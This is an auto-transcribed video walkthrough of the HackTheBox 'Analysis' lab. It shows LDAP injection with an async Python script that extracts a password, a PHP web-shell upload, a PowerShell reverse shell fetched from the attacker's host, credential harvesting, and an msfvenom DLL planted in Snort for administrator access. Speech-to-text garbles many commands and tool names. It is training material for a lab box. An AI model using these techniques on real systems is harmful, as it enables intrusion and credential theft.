text: what's going on YouTube this is IPC I'm doing analysis from hack the box and I'm not actually going to cover the intended route we'll just cover the unintended route in this video I know that may disappoint some people but I think the intended route's going to be a better Standalone video and it works its way to be a standalone because it's doing some application hooking on just free software you can download but before we get there the box starts off with a lot of enumeration against a web server you have to discover a virtual host and then you do some fuzzing that goes into directories to find scripts we're going to use Ferro Buster for that because recursive uh dur busting is really kind of needed for this box if you just use gobster it take a really long time but once you do all that enumeration you

title: HackTheBox - Analysis


text: discover a PHP script that is vulnerable to ldap injection and we're going to write a python script using async in order to make this ldap injection fast and then with that you get a shell to the Box you discover that snort is running and you can write inside one of the snort directories that has all the dlls it loads so you just write a malicious dll and you get a shell as an administrator we do a lot more just Recon on the box after that but with that being said let's jump in as always we start off with an end map so- SC for default scripts SV enumerate version dvv for double verost this is going to put the TTL and things like that in the output then OA for output all formats put in the end map directory and call it analysis then the IP address of 1010 111250 this can take some time to run so

title: HackTheBox - Analysis


text: I've already ran it looking at the results we have quite a few ports open it looks like 13 since there's 987 we scanned a th000 and the first thing I notice is simple DNS plus whenever I see that as the DNS server I always look down look at ldap and see yep it is going to be Windows Active Directory so we know we're dealing with an active directory box when I see that I normally look for 443 which I don't see because if I see 443 chances are there may be like a certificate Authority on this box and we can do a bunch of those things but there's nothing there so let's move on we have HTTP on Port 8 and the odd thing here is I'm not seeing an i Banner it just says Microsoft HTTP API which I'm not used to saying um there could be something funky at play here I wish I had more time to research this before doing the video but it's something I would put more time in Recon

title: HackTheBox - Analysis


text: to figure out exactly why we're seeing this Banner right uh we have kerberus a bunch of SMB type stuff going down MySQL on 3306 that is a bit odd we get unauthorized so this host isn't allowed to talk to it and then we have the host name which is DC analysis and the domain which is analysis. htb so let's go ahead and add both of these to our host files so I do pseudo VC host and then we can add 10 10 11 to 50 and then DC analysis there we go add them both and where do we want to start I guess the first thing we could do is look at a net exec right see if there's any open Shar so I'll do net exec SMB 101 112 250 and this is going to just tell us yep the host name is DC analysis uh we get the windows build and that's about it we can try like dh- shares to see if we get anything and I always like doing like a

title: HackTheBox - Analysis


text: username of guest and a password of something and then going username of something that doesn't exist normally like period or something just to see if there's any way we can get output but it doesn't look like there is so let's ahead and take a look at the website so if I go to 1010 11250 uh we get HTTP error 404 not found if I go to http analysis. HTP we get the actual page so I want to check the headers of that real quick maybe this is the HTTP API and this one is um IIs I'm again I don't know and it's just one of the things I want to put more research in so I guess while I'm doing the video might as well check it out right so if we send this request did not press control R there we go look at the server header it is Microsoft I if I take this HST out we get HTTP API so it looks like that indicates there's some type of router in play right the default isn't

title: HackTheBox - Analysis


text: IIs it goes to the HTTP API and then based upon your request it's going to make some type of decision on which where to send it so that is my understanding right now why we saw that header difference so looking at this website we get not much actually um I it's kind of weird that this whole thing is blank going to press control U to look at the source we have to turn the proxy off and see if I can identify like what it's built with or anything like that it looks like it is just a static site I don't see anything that indicates it's some type of CMS we can look at like extensions of what it is to see if there's anything interesting but I don't see anything on this website we look at like all these links it looks like all the links may be dead so there's not much here we can either go Buster for files like find hidden files or we can look for subdomains the first thing I'm going to

title: HackTheBox - Analysis


text: do is look for subdomains so let's do a uh FFF we'll use gobster I guess gobster vhost uh- HD p analysis. hdb word list OPC list Discovery DNS then what is it let's just do subdomains top 1 million 5,000. text and we'll see what we get here it's in a numeration mode I guess what else could we check here we could try like index.html is that what this is it is we could try like other extensions right uh file not found uh PHP not found so we did get a hit on internal. analysis. htb so again let's add this to our host file so sudo VY host and then we'll add internal analysis htb let's go check it so internal analysis hdb and we get a forbidden we don't have any permission here so there's really not much we can do here we can wait for this um gobster to finish I guess we can look for files and I'm going to if

title: HackTheBox - Analysis


text: there's any files in the internal site um realistically I would do them both but that would take a little bit more time there's nothing on analysis we want to go here um right now the 403 Forbidden it could just be configured to block like any um open directories and there's no like index configured here so we have to find um any type of hidden directory or file right so do go Buster directory mode U um htttp internal analysis htb word list OPC list Discovery uh let's go with web content raft small words and this is Windows so I'm going to specify the lowercase because Windows is not case sensitive um and we get users redirects to users slash so we know that is a directory and we can show that real quick um let me just put internal uh what was it analysis htb uh forbidden right if we went to

title: HackTheBox - Analysis


text: users it redirects us to users with a slash and we get a 404 not found um but we wanted to show like Windows not case cense if I put capital r capital u uh s like it all works so using the lowercase in your word list really does speed up things and I'm going to use a tool I don't use often in videos but really I probably should it's called Fuster it's a um directory brute forcer written and rust and it has recursion right because I want to go and enumerate all these directories it like to run multiple gobster commands and I don't feel like doing that because it just takes a lot of time to run all those um so that's why I'm going to switch over to Fuster because it will be able to do that all at the same time and the reason why I normally use gobster not Fuster is because of the recursion because this is always going to take a little bit longer

title: HackTheBox - Analysis


text: um let's do U internal analysis htb wordless let's put the same word list here and then there's a step I don't like one of the files in a directory is a PHP I don't know how you know this Windows Server runs PHP normally I would look for like the banner if I saw it running um I forget the other the super common web server on Windows that's not I um if i s that as the server header I'd guess PHP but here you kind of just have to go on a limb and look for pH HP so I'm going to cancel this one gobster this is going to run I want to actually do a output um let's kill this state real quick because one thing you can do to kind of speed this up we'll see it start running and then start finding a lot of directories we don't really care about right like it's going in this JS this CSS this image this um uploads I probably care about this lib I don't

title: HackTheBox - Analysis


text: care about a lot of those directories like lib chart so I'm going to hit enter and that brings us into the scan management I'm going to do c for cancel DF of four so it doesn't ask me if I want to cancel and then we'll do three four five so we'll do three to five uh what was five five is image yes and then let's do seven and nine so we'll do seven n that's going to stop those threads so it's not going to run the full word list there and that kind of just speeds up the scan quite a bit we have so far found 26 URLs if I go to my out file I think it will be shown I guess maybe it gets written once it's done uh we could kind of scroll up is there anything here I can do filters get nope I was hoping there was like a button I could just to show me all the pages it found right we could look for the 200s so we have board upload.php

title: HackTheBox - Analysis


text: that is a 403 let's see we have employees login.php and dashboard tickets tickets redirects us to somewhere we could try checking that out real quick just see where it redirects us so if we do dashboard tickets. PHP was that what it was uh what is that ticket dashboard tickets. PHP it redirected us it's not redirecting us 44 this is definitely it we just get a 200 okay the other one is employees login.php so let's check this out so if we go to employees login.php we have the internal panel so we could go uh let's see analysis employees login and then we do an email like um rip. Ro I can say password single quote or 1 equals 1 the standard like SQL injection payload to see if we can log in that way we can't we don't have any emails really and on the main page of um analysis. htb I didn't really see any like names here so we don't have

title: HackTheBox - Analysis


text: anything we can really do with this login form let's see what other files do we have see PHP employees maybe we should just wait for this scan to finish there's log out so I guess I'm going to pause the video we'll let this scan finish and then we'll go through all the files that it found because I'm having trouble keeping track of it and this is one those reasons why I normally use gobster because as it runs you can keep better track of it um or at least I can I'm sure there's a way to do it here if my text probably wasn't so big it may look better um let's see change profile default that did not work it does not like being changed in the middle of running so U maybe I don't have to pause the video this is just about done so you get an idea how long this takes and then we'll see all the uh files it found so if we C did I not do it o oh God I did not do-

title: HackTheBox - Analysis


text: pH like this is why I always create out files um pharaoh. out we'll create that I'm going to pause the video and we'll look at this when it's done okay now that this is done we can cat ph. out and I just want to see every PHP hit so we looked at a lot of the dashboard stuff there is this users l list.php so if we look at this if we go here what did I copy the whole thing I did we have missing parameter so we can just fuzz for parameters right so let's do that I'm going to use FFF then- with this URL and then I'm going to guess it's a get request I'll do fuzz equals we'll just do one and then for the word list we'll use op sec um Discovery is there API Discovery web content I always have trouble finding API I think it's because the directory is lowercase there we go and then what do we want to see

title: HackTheBox - Analysis


text: um we can say actions. text let's just see what that is uh we can say Das filter words for two you don't get anything um let's just use ra small words Discovery web content raft small words uh we want to use lowercase text and then we'll see if there's any end points here that um come back and we have name so when we send name something different happens so let's do question mark name equals one and we get this search result um we have username contact underscore last name first name something so my first thought is let's try SQL injection um let's see I'm going to put this over to burp Suite so it's a bit bigger and easier to read okay so we have one and we can say or one equals one uh like that let's see we terminate we can do that should work and we still just get that we're not getting any uh good match if we do like

title: HackTheBox - Analysis


text: a wild card we get technician so we get a result here um my SQL normally has wild cards as percent um ldap has things as stars so this looks like it's going to be an ldap query and based upon it being active directory all these fields kind of make sense like mobile office company and whatever if I put the star here on this page we can see uh what forms are filled out so at this we can kind of guess at things and I don't know if there's just one username or a lot of usernames so we could go like a star and we get a Manson we could do B Star and get the next one so I want to create a script to just enumerate all the users because for some reason this table only searches for one name we can't get um multiple names so I want to dump a list of all usernames so we're going to write a python script to do that um let's just do Mak an and we'll go in here and I'm going to

title: HackTheBox - Analysis


text: call this um ldap users. and we're going to try coding this it's going to be somewhat tough because I want to use async in order to um make this go fast so let's start it off by doing an import htpx which is like the request Library just going to support asynchronous things and then of course we have to import async IO so let's start off I always like just creating a function called Fetch and this is just going to make a web request so um we do client. URL and then we return with response um with async when you say things with async it just means it can um the program can continue while this is working and then with things like await this is you don't want to continue until you get the response right if we didn't have the await here we' just say response is equal to client. um I think because it's asynchronous it would potentially return

title: HackTheBox - Analysis


text: response before this finishes so that's why we use the await there you just say awaits when you want to block the code um there's probably better explanations if you search on YouTube but that's the quick one right so let's now create a another function for ldap um we'll call it search and then we want to give it let's see we want to do a URL and then what else do we want um probably the character set that we're searching and um I'm going to call it negative match and concurrency is equal to 8 so how this is working is we're going to pass it in a big character set I'm going to import string and we can say car set is equal to string asky lowercase and we don't want digits so we pass it in a big character set it's going to create a loop call fetch as many times as in the character set and then negative match is

title: HackTheBox - Analysis


text: going to tell us um if the request was a match or not and I'm doing negative because if we looked at the page and we gave it a bunch of junk um it returns with contact underscore so that is how we know we get a negative match so let's start this function off by doing a semap and this is going to just limit us to whatever number of threads we have it's defined as eight by default and then let's do an async definition of search and then we'll give it a URL and then a single character and the negative match and we'll say async with 74 that looks fine let's see we want to give it the example URL I'm just going to copy this so we have it and this is what we're going to provide it so let's see we do a weit fetch URL plus we'll do c star so we add whatever character it is so if we have a it'll search for a star B Star whatever okay and then let's see if negative

title: HackTheBox - Analysis


text: match is in response. text we're going to return false and then otherwise we will return the character okay and that looks fine so what this is going to do it's going to take every single character and then run search against it and specifying each character so we're going to run search I think there's 24 characters so we'll run search 24 times and since it's asynchronous it's going to just run um concurrently and it will block if there's currently eight things running at a time we're going to gather all the tasks so we're going to use a wait to wait for every single task to be complete and then we're going to return it um this will just create a list if there is a result um this uh results if R this IFR is going to ignore any falses we have so now we can do our main function so we'll do if name is equal to main okay and let's see the URL it looks

title: HackTheBox - Analysis


text: like it got that right probably because we put it in the comment up here did not get the negative match right that's not a surprise because we don't have it in a comment if you curious about all this autocomplete that is GitHub co-pilot so now let's see we're going to do the results we're going to run that and that looks good so let's just hit F5 python file uh and we're going to run it and see where we screwed up because I know we screwed up somewhere we never get things right the first time and of course um we're just returning the character so we have five potential users here uh what we want to do is right here where we return C we want to look at the response and figure out how we can grab it so we did St and then looked at the source let's see I think it's technician yep we just want to create some type of regular expression to grab this I'm going to see how many times strong

title: HackTheBox - Analysis


text: appears only twice on the page so we can grab everything between strong and that's going to be the username so let's go up here we can import port regex and then we can say name is equal to re. find all there's probably like a find one function I just don't know off top my head uh not string strong and then we'll match everything up to SL strong and we return name that should be fine we probably shouldn't check if like we didn't get a name but that is probably good I may want return name zero actually yeah because we did a double list um there we go so here we're going to return the name if there is a name if there isn't a name then it's going to turn false run this and there we go we have it so we have potentially five users there could be more users right what if we had a bz right our thing isn't handling that because we just stop at the very first

title: HackTheBox - Analysis


text: one so what I want to do is um go for all these names and then we'll do a second search I probably should have made this a set but it's too late now it'll be a pain to switch so I'll say for we'll do name in results and the first character of the name is going to be that and then the second character it's going to be that so what we can do is replace the character set so we'll do temp care set is equal to care set oh let's see how do I want to do this cuz we could just replace the um second character with nothing and that essentially does it right because when we rerun this we'll never hit a Manson because we removed M from it um but I don't know if I want to do that because we should remove like um everything up to M right so we can say let's do a split let's do set.it and then we'll split on the

title: HackTheBox - Analysis


text: second character and return the right side so if our string was like AB B CDE e f and we had matched C we're just splitting removing that and keeping DF so we resume the search after that that should be fine and let's see we'll do URL plus first character I think this is going to work let's see oh I probably shouldn't have reused results like that um we'll do it this way and I also let's set a proxy so we can make sure the request looks fine so if we want to do proxy we can just say proxies is equal to HTP Local Host 8080 run this and then if we go in burp site look at history we'll see it working and clumps of eight and see time out we're getting a timeout issue because intercept is on let's run it and that looks good you can see how it's working it is doing clumps of or it looked like it was doing clumps of it is

title: HackTheBox - Analysis


text: pretty actually fast uh if we wanted to test this out we can remove the proxy real quick actually let's just comment like that and then this will be a quick way to do it Python 3 LP we'll do a time and see how long this takes uh 5 seconds so let's do V let's change concurrency 8 we could just change it down here as well if we wanted to but I have to change it in two places because we called it twice let's just say we'll do 16 and we'll see if it takes considerably less than 5 seconds and it looks like the names are going definitely faster took three seconds there so this is proof that our concurrency works like we think right if we want to do 32 this time it may not have much of a speed up we'll see oh two seconds so that is how we can enumerate all the users so what I want to do with this is we take them and I want to run like curb root

title: HackTheBox - Analysis


text: and we're going to see if they have any like as rep roasting capabilities so let's do V names. text paste this in op curb root curb root I think it's user an yes it is user an DC 10 10 11250 domain analysis anal that I think that's right word names. text I thought was DW for word list uh maybe there's just no argument there and we get valid usernames but we don't have any hashes so it's not as rep roastable um I don't think this really got us anything we can search the users to see if there's anything interesting in this so let's go back to Firefox we can search a Manson uh we don't want to view Source we'll do a star that is Andrew B I'm just thinking there's anything interesting in any of these fields jar and elstar we've already seen technician so we don't have anything which is a bit odd um we could test if this is like ldap injectable right um

title: HackTheBox - Analysis


text: another field if this is active directory would be description so we should probably do this in B Suite so we do the stir elap puts just a bunch of queries just in parentheses right so I'm guessing this is going to be like it looks like Sam account name is equal to this right this is going to be the query that's running and it probably has like some other like U and groups beforehand to just do this search right so what we're going to specify is we're going to try closing out this uh we just get table so I'm guessing we cause an error in the script and we can say description is equal to start as well we don't get anything oh we don't want to have the last end parthy because the script adds it and we look at this we get technician so just like the username we can Brute Force the description probably right um context like we want to go through a

title: HackTheBox - Analysis


text: word list to see if there is a description um I wonder start would match blank if there's not let's see name if we do a star we don't have anything tar so if the description is blank we'll get um the contact word right so we know technician has a description the first two users did not J and L is the next two we'll see if they do one match one match so we know the technician has a description we want to be able to xill it so we're going to do essentially the same thing it's going to be a bit longer because we kind of have to recursively and go through every single character because we can only do it one character at a time which is a bit of a pain but we should be able to do it somewhat efficiently with the ldap script so we'll say ldap I we'll call this field. Pi we're going to make it so we can do it in other fields if we

title: HackTheBox - Analysis


text: wanted to but the main one we want is just the description so what we want to do is replace the URL first um trying to think the best way to do this uh let's see I'm not going to worry about arguments right now we can maybe add it in later you just import CIS and whatever but uh let's see we want to do name we'll say technician and then description is equal to something so that's going to be the URL now and we're going to switch from a negative match to a positive match and let's see we'll call this name is equal to technician and we can do it this way that should make it easier for us to switch out later and we don't even need to call it positive match so the reason why we're switching is because we always know um a positive result is going to have the technician uh I didn't want to do contact because um if we had like an error in a

title: HackTheBox - Analysis


text: request and we broke something or something then we'd see contact and we get a false match so technicians only going to Happ on positive match so we should name this positive match and name it other places as well this if posit match is in response then we want to return the character and now we will return false okay I'm going to change this up a lot as well um because if I get a match I don't want to keep going so we want to break this up and do it in chunks because how it's going now is we're going to run through the whole character set and then look at the results but if we get a hit early why do all the ones later right so let's break this up into chunks so let's see results we'll declare that as a list and then we can say for I in range Z the length of the Care set and then we'll do a step of

title: HackTheBox - Analysis


text: concurrency that looks fine I can't comprehend exactly what that is doing let's just break this up so we'll say the batch is equal to car set so this is going to go like the first eight characters then 9 through 16 whatever now we're going to Loop through the batch append to results that looks fine and then we want to gather all the results we'll do for result in async IO as completed results so this will process things as they finish and then if we have data return it that should be fine and if we don't we want to clear them before we start the next batch so all this did is um break it up so I guess we kind of broke the semor pattern but I want to be able to return early so if we hit it early in the word list then we don't keep doing request think that's fine okay we do search we add the

title: HackTheBox - Analysis


text: character name URL let's just see what this happens and we want to change the character set uh this will be printable we want a minus five the last five in printable is um like line breaks and like non print like I don't think it's printable characters uh we don't have regular Expressions anymore um I'm trying to think should we URL and quote this yeah we probably should from URL lib dot parse import quote and we'll do quote C so everything's going to be quoted okay I'm curious what happens here run it we going through brip Suite we oh I screwed that up we probably should have remove that we got nine is that going to be the first character so we did this we hit nine we get a match so now we want to go to do the next character right and it's got to just go and enumerate that so let's see here let's

title: HackTheBox - Analysis


text: see how do I do this we'll do while true also going to call this data okay we have results see URL car set name that's fine that did not return a list which is good so if result s look can say data plus equals results and probably want to update the URL as well wonder if we did this will the URL be smart enough to always update when we do this oh we just want to print data let's see we should hit D or n n so I don't think it's smart enough to update the URL we can look at burp at what it's doing and yeah it's not so we want to say URL redefine that let's see does this work now 9 7 is it looking better so getting the password one character at a time we probably could um or getting the data in the description I leaked what we're doing but a little bit of hindsight um the password for the user is in the

title: HackTheBox - Analysis


text: description field uh and we get just it ending here and I don't think that's the password right we could go and grab this and then go let's see net exec dasu technician DP that and we also got to do SMB 10 10 11 to 50 and see what this says uh log on failure so we probably had a bad character and we could play around with this a little bit so if I copy this we go to burp Suite we go here let's put this in we get a match and if we did two stars on anything it just breaks completely the whole page so what if this password like this field was a star then we have to keep guessing going like this and this is a huge pain um how you're supposed to escape wild codes is back SL2 a but that still doesn't work here so we have to do something really really odd to accommodate for wild cards and um elap one of the cool things

title: HackTheBox - Analysis


text: though is if you have two wild cards the first one doesn't behave as a wild card it just behaves as a character so if we had this then it'll only match as a character it's not going to behave as another Wild Card which saves a lot of just did we really match the next character do we match two characters from now because we have two wild cards um when you have two it only matches the last one weird but that is the behavior so we have to do something really really wonky um I'm going to take the care set and we're going to replace the star with nothing so we just remove that from the character set because we don't even want to send this ever um let's see I'm going to remove this proxy so it just goes a little bit quicker okay and then in this Loop this is where things get crazy let's see trying to think how I

title: HackTheBox - Analysis


text: want to do this going to call another variable and loop is equal to false and the purpose of this is to let us cycle through our list twice if we don't get any hits then it's going to run again and if it runs again and then hits something then um we keep going if it doesn't hit something then we fail so it has to go through the whole list twice right so what it's going to do is um we hit this it's going to Loop through everything we don't get a hit so it's just going to magically append a um asteris and then go through brute forcing it again um so that's the whole logic there there's probably a better way to do it but it's one of those weird things I didn't know of a good solution so we'll do on the else we'll say if n Loop then we'll break and if it's not set to true we will set it to true and then we will

title: HackTheBox - Analysis


text: append data as and we will print and then in this result we just want to also say end Loop is equal to false that may be all we need to do let's run it again and see so we're running it and come on 9 n t so we should Loop through everything and it broke don't know why let's see let's set a break point here let it run I guess we could speed it up by giving it a few characters first okay so we add a data then we should go back to results and now oh I'm not going through BPU anymore because I want to see the request easily so my break point right I do Roxy history 97 NT t l we should be broken we're not getting any request so I'm going to step over and then we run this again we should get a new batch and what are you searching it didn't append I know we did not reset the URL there we go now this should work

title: HackTheBox - Analysis


text: 97 n TTL should just print a start and keep going we didn't do a print here but if we look you can see what it's doing we're getting each character there so we had this star and it ended with or Star it that's probably not it we just did a bad job printing um so let's see how do I want to handle this I just want to clean this up a little bit it shouldn't take too long let's see um we can say if and loop so if and loop is set to True currently then we want to print out the star so move the print function up to here and we're always going have to set flush to true so we don't have to worry about printing here we can append data that looks fine where are we doing the first print I think I erased already so if and loop print stir see how else can I do this do print are we adding results how's that

title: HackTheBox - Analysis


text: look and at the end we'll just print a new line does this do it 9 s this looks better come on Star there we go so this is looking much better now as long as we have everything in the character set we should be good so if I copy this let's right click copy then we can go back here put this password in and we still get a login failure wonder if there's another character we are missing where this is not like a Windows password we did have an employees login let's try this real quick if this doesn't work we probably have something messed up in our script we're not getting a character so we can say technician at what is it analysis.

title: HackTheBox - Analysis


text: htb put in that password bad data so we have something wrong with our script I think let's head over to burp suite and look at what it's guessing and what it thinks 97 ntl star 4 q oh we're missing a four um when I do this print we also need to add the results because when we hit this um we just magically added the star to data right and it's just doing a second guess so it's doing two at once and we only printed one so that is I think the mistake there if we add that in hopefully we get a different result so let's see 97 n TT L this should be star four there we go so that makes sense we add the four Let's see we do get a hit we can try accessing the shares or see if there is any we could probably um run Blood Hound or something from this now but not going to do it just yet there we go we go back to the login page technician

title: HackTheBox - Analysis


text: analysis. HTV put in the password um I did not have the for in hopefully I'm not making a typo there we go we can log in um I'm going to fix up the script real quick because that should not take long let's see that looks fine um all we want to do is is be able to change the description and uh field so let's do import CIS and we can say name is equal to CIS RV one and then field is equal to CIS arv2 if length of does not equal three then name is equal to technician field is equal to description I think that's good so we got name field let's see if that works real quick Python 3 l. field technition description that looks good and let's see exactly how long this takes to run um we could also simplify this that should also work what is my concurrency at we're at 32 so if I do time on this we can see how long it takes to actually

title: HackTheBox - Analysis


text: run I'm going to guess 8 seconds and then I want to run it with 12 threads and see if it's actually quicker I don't think will be but it's possible it could be just because of how we're doing the blocking so we'll run it again with 12 see how long this takes I guess we could also run it at like 128 to see that's going to be longer than the character set but we'll see if that overloads it or not this looks like it's about the same 25 seconds what was the last one 19 so if we did 128 let's just see you can see the First characters seem to take slower I think that's just oh we had some type of error I don't know that actually screwed anything up magically enough I think it aired on a bad like on nonvalid character anyways so I don't think it messed anything up and it's going along we have 29 seconds so you can see always

title: HackTheBox - Analysis


text: just setting the threads as high as possible isn't always good right so there's some more optimization that could be done but that is enough for this script um were we going through brip Suite we were let's do 3 to without burp site I think burp will also slow this down considerably yeah so we can see this is going much much quicker if we don't intercept it I'll try 128 again and then we'll move on sorry for wasting your time here I'm curious wellow that was like double the speed so description before it took 30 seconds and it looks like maybe it was just going slow because burp site couldn't handle that many connections it's going fine when we're just talking straight to I so that's going to wrap up the ldap injection piece now let's go and see what we can do with this analysis panel um looking through this it doesn't really have anything interesting here if we go to tickets

title: HackTheBox - Analysis


text: active directory login issues HDA files we click details does it have anything get weird errors let's go to Sock report files will be executed in a sandbox and analyzed by analysis or analyst let's just try putting a file here let's go to htb analysis whoops htb analysis um I'm just going to upload names. text and let's make sure this goes through BPU proxy intercept on upload sample send it to repeater and it just says uploads names.

title: HackTheBox - Analysis


text: text so let's try making a request there and we get the file so we know this is PHP let's try uploading a PHP file so let's change the file name to call it shell.

title: HackTheBox - Analysis


text: PHP and let's just run a system command we'll do system who am I first and then we'll add it so we can do arguments to get a reverse shell there we go show. PHP exist and we analysis. service web awesome so let's make this just execute command so we can say request CMD like that so now we can pass it a command so we could do like um CMD is equal to here am i/ all we put this in VI Source we can see all the Privileges we have doesn't look like anything too sensitive but we can get a reverse shell from this so let's switch over to burp Suite CU I always like doing this over in um a post request because there's less Bad characters so let's change the request method and then we want to do Powershell new object net. web client download string HTTP 101048 shell do um PS and we're going to specify Port 8,000 and we want to make that file and

title: HackTheBox - Analysis


text: before we go on we probably should highlight an URL en code so let's go up a directory make D dubdub dub CP user share Nang Powershell or is it shells uh invoke Powershell TCP one line okay I'm just going to move this to shell. PS and let's edit it to put this and hopefully there's no antivirus on the box if there is then we have to do some light evasion if you don't know how to do it you can go to .rs I've done in other videos that looks fine let's do NC lvmp 901 Python 3 m HTTP server run this we see the request made and it looks like we have a shell um I forgot to do RL WP I always like doing that on my windows reverse shell so let's add that in run it because that gives me the up and down arrows so now we have a shell on the box and the first thing I always like doing when I pop a web server is Harvest any credentials from the application the

title: HackTheBox - Analysis


text: first thing that comes to mind is going to be the login form because that has to talk to something in order to authenticate right so let's go to employees and then let's look at login.php and let's see that is just HTML we scroll up we have it doing the login right here so we have host Local Host username DB Master then that password employees so we can try logging into my SQL and I think from the end map we got like the host isn't allowed to talk to it but maybe with the user we can so let's do my SQL dasu we'll tell it we have a password I want to say it's is it capital lowercase H uh for host I think 10 10 11250 it may be lowercase we'll see nope it's asking for the password now let's copy this paste it in and it's not going to that host let's do lowercase H paste it in and can we not talk to it uh the host 10104 is not allowed to

title: HackTheBox - Analysis


text: talk to this server so we could just upload chisel and pivot uh so we access MySQL over Local Host but we've done that in a lot of boxes I don't feel like showing again another thing you can do is always just write a quick PHP script to dump the data and then you don't have to do any pivoting so let's show that real quick um I'm going to copy this field and then we'll go here uh let's go in dubdub dub I'm going to call this dump. PHP and I want to paste this not going to bother with the try wonder if I should have just done this in vs code Let's see we dump database that looks fine so after we connect we want to give it the SQL command so do SQL select star from and is it users what do they call the database or the table it looks like members I'm looking right here so we'll do select star from members and then we have to execute the

title: HackTheBox - Analysis


text: statement so let's just say statement is equal to the connect prepare SQL uh there we go that's why it didn't tap Auto uh do my indenting right that time so after this statement connect prepare we have to execute it okay okay and then we can say for each did I spell that right I did not there we go results as row and we can just Echo wonder if I can do just a array and then we will append line break think this is right let's close out the PHP let's see if it magically works I'm not exactly positive I'm going to go in the uploads folder because I know I can write there I could probably write anywhere but I'd rather just do it here we'll do a WG 10 10 148 8000 dump. PHP d o dump. PHP then we curl 10 10 for uh let's just go back here change this to a get dump. PHP undefined variable results let's see results we did statement to execute I need to

title: HackTheBox - Analysis


text: fetch results is equal equal to statement fetch all what is it do they have it in this catch PDL execute I think it's PDO fetch Associated try that rate to string conversion PHP dump array I forget this command ver dump that's it try this there we go so we have I guess just technicians password there's only one user here so that doesn't really get us anything new but hey we did something cool um the odd thing though is we did elap injection this is all talking through my SQL so let's go back a step and go to was it users and then list.php and see if how it talks to L so it's doing the query here there's got to be a bind as a user and we have another password we have this one so we probably should have saved all the passwords uh let's do vs. text can say this what user is this um web service so we can get this

title: HackTheBox - Analysis


text: account we can also get the database so we'll say DB master and that is in a PHP script so we'll C dub dub dub dump and grab this and I guess technician we had this from the um ldap dump Command right did end Envy yes okay so we've poked at the web application um it didn't really get us all that much we could try logging in as these users I'm not actually sure what web service has access to um we could try let's see net exec or nxc SMB 10 10 11 250 U uh was it web service and P see if it logs in it does but it doesn't have SMB where it can't like um get a shell we could try like win RM to see if this user could access the box over one orm it can't we could also just do like a net user command dump all the users and then try replaying other passwords we have and see if we can log in but none of

title: HackTheBox - Analysis


text: that's really too important if we went to CD slash and did a dir we would see a directory that is really non-standard snort and there's also a snort log that is relatively big but if we go into the snort directory and then look at let's see what do we have we have bin Etsy lib log rules I'm going to go into logs and if we do a DI we can see it's running about every 2 minutes and there is a library directory and if we look at exactly what the purpose of this dynamic preprocessor directory is let's see snort this I'm going to Google man as well let's see if this goes up to the top uh let's see that did not Dynamic preprocessor there we go the snort manual has Dynamic modules and essentially if the config is said to point to this directory any dll inside of it is going to be loaded right it tells snort to load the dynamic pre-processor shared Library so we want to look at the um snort config file now

title: HackTheBox - Analysis


text: and see if this is set so let's go into Etsy and then we can look at snort. and then I'm going to search up for dynamic preprocessor and we see it's going to this directory the dynamic engine is just going to the dynamic engine and specifies the full dll but since this is just specifying the directory anything in here will be loaded when snort runs so let's just see if we can write into this directory so I'm going to Echo test to test do a Di and we have successfully wrote to the directory so all we have to do is make a dll and upload it here so I'm going to use msf venom for that so do msv Venom DL payloads um I actually think I may know this syntax um met msf Venom DP Windows x64 reverse shell TCP I think L host 101048 L Port 901 uh what else do we need we need to specify um format dll and dash out we'll call it hips.

title: HackTheBox - Analysis


text: DL I think that's it right reverse shell TCP it did not find anything is it shell reverse it is almost knew it so I think that should create us a reverse shell that will just uh be a dll so when this runs I'm going to run a file against it and just double check that it is indeed a dll let's do file IC dll be yep windows dll so I'm going to move this into dubdub dub and then let's W get it so w get 10 1048 8,000 IPC dll outfile IPC dll and then NC lvmp 901 I probably should RL wrap that and if we look at the date it is running every 2 minutes 1837 uh let's see oh we got to go into logs it just log 1837 looks like it ran we don't have a shell maybe I did it like at the 2C Mark after it ran uh the other thing this could be is maybe it's a 32bit version of snort we did not check the architecture um I don't know how to just quickly check that on Powershell so I

title: HackTheBox - Analysis


text: think I'm going to just wait 2 minutes and see what happens so let's do a sleep 120 and I'm going to pause the video and we'll come back when this finishes and the 2 minutes hasn't passed up but we did get a shell and if we do it who am I we are the administrator user and I knew I'd get administrator when I exploited snort because snort has to listen on a network interface and normally um people don't do granular permissions they just give administrator so it can do that so if we want to users administrator desktop uh CD users where is the administrator oh it's administrator because the box is in a different language CD desktop and we can get root. text this is the uned way of the box I'm not actually going to cover the intent in this video because I think it's going to be better for a standal learn video

title: HackTheBox - Analysis


text: because it's going to be doing a bunch of dll injection with a binary you can just download right so I'm going to uh do the route that way um but we can cover uh up to that point right because this whole snort thing not really intended um we're supposed to get another user's password and you can get that user password two ways the easiest way is just to run Lin pees or wipes so if we um go download wipes so I'm just going to do GitHub win peas and let's download this let's see we probably got to go up a few directories because we got linked to read me uh let's see latest downloads tutorial scripts and binaries on the release page winp 64 exe I'm go in dubdub duub do a w get okay we can go in a directory we can write to I like using program data because it exists on every Windows box so we can always be confident we can write there um normally it's writable by

title: HackTheBox - Analysis


text: everyone I don't know exactly why but that's just what it is so we're going to W get it and then once it's downloaded we will run it and this will take some time to run so let's get another shell and look at the other way to get the user's password so let's go back here send this that should have got a shell right upload shell.

title: HackTheBox - Analysis


text: PHP why is this not working anymore oh I have a two there there we go I did not RL rep I hope that wipees is running I'm used to seeing some output maybe it'll come when it's finished okay so if we started poking around at all the PHP scripts um let's go do a DI we have a bunch of Yar rules which is a bit odd and the intended way to exploit this was actually to upload a HTA file that it executes but um since you could just do PHP I didn't really bother doing that let's see we got emergency.

title: HackTheBox - Analysis


text: PHP what is this and then we have alert panel these two are new to me so I want to see exactly what emergency. PHP is and maybe we can just go to it uh analysis let's do internal analysis htb uh employees log in I have to relog into the application technician at analysis.

title: HackTheBox - Analysis


text: HTP and we will put in the password so let's go cat creds technician copy paste oh emergency right here I don't know if I ever looked at this uh we have emergency notification see not exactly sure what this is doing let's look at the alert so we got alert panel. PHP and we can also see if we can access this to see what it looks like we have no security alerts so if we look at this script search string see session so at the very top of this it's checking if the git variable password is set um it's also checking the git variable username and the git variable alert so since these are in gits it's going to be in the URL so let's go to the access logs and look at anything from alert panel so if I go logs dir log files um are these files are directories I don't know which one to go to we'll try this one first um find string alert panel star.

title: HackTheBox - Analysis


